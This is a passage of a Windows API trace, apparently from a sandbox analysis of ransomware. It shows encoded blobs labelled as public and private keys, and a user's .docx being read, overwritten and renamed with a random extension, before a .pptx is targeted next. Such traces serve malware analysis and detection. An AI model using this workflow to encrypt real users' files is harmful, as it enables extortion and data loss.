CYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0088.093] GetCurrentThreadId () returned 0xa30 [0088.093] GetCurrentThreadId () returned 0xa30 [0088.093] GetCurrentThreadId () returned 0xa30 [0088.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.094] GetCurrentThreadId () returned 0xa30 [0088.094] GetCurrentThreadId () returned 0xa30 [0088.094] GetCurrentThreadId () returned 0xa30 [0088.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-s mpTOnNpWunebm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-s mptonnpwunebm.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.094] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.094] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.094] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x15b5e [0088.095] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.095] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x15b5e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x15b5e, lpOverlapped=0x0) returned 1 [0088.098] CloseHandle (hObject=0x124) returned 1 [0088.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-s mpTOnNpWunebm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-s mptonnpwunebm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.103] WriteFile (in: hFile=0x124, lpBuffer=0x1f06040*, nNumberOfBytesToWrite=0x15b5e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f06040*, lpNumberOfBytesWritten=0x18f978*=0x15b5e, lpOverlapped=0x0) returned 1 [0088.107] CloseHandle (hObject=0x124) returned 1 [0088.113] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-s mpTOnNpWunebm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-s mptonnpwunebm.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-s mpTOnNpWunebm.docx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-s mptonnpwunebm.docx.zv7un")) returned 1 [0088.114] GetCurrentThreadId () returned 0xa30 [0088.114] GetCurrentThreadId () returned 0xa30 [0088.114] GetCurrentThreadId () returned 0xa30 [0088.114] GetCurrentThreadId () returned 0xa30 [0088.114] GetCurrentThreadId () returned 0xa30 [0088.114] GetCurrentThreadId () returned 0xa30 [0088.114] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1006fe0, ftCreationTime.dwHighDateTime=0x1d5c4db, ftLastAccessTime.dwLowDateTime=0xbd0344c0, ftLastAccessTime.dwHighDateTime=0x1d5da29, ftLastWriteTime.dwLowDateTime=0xbd0344c0, ftLastWriteTime.dwHighDateTime=0x1d5da29, nFileSizeHigh=0x0, nFileSizeLow=0x10d09, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="2wyN1v_bomEHhDPaBS.pptx", cAlternateFileName="2WYN1V~1.PPT")) returned 1 [0088.115] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.115] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.115] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2wyN1v_bomEHhDPaBS.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wyn1v_bomehhdpabs.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1006fe0, ftCreationTime.dwHighDateTime=0x1d5c4db, ftLastAccessTime.dwLowDateTime=0xbd0344c0, ftLastAccessTime.dwHighDateTime=0x1d5da29, ftLastWriteTime.dwLowDateTime=0xbd0344c0, ftLastWriteTime.dwHighDateTime=0x1d5da29, nFileSizeHigh=0x0, nFileSizeLow=0x10d09)) returned 1 [0088.115] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2wyN1v_bomEHhDPaBS.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wyn1v_bomehhdpabs.pptx")) returned 0x20 [0088.115] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2wyN1v_bomEHhDPaBS.pptx", dwFileAttributes=0x80) returned 1 [0088.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.118] GetCurrentThreadId () returned 0xa30 [0088.118] GetCurrentThreadId () returned 0xa30 [0088.118] GetCurrentThreadId () returned 0xa30 [0088.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 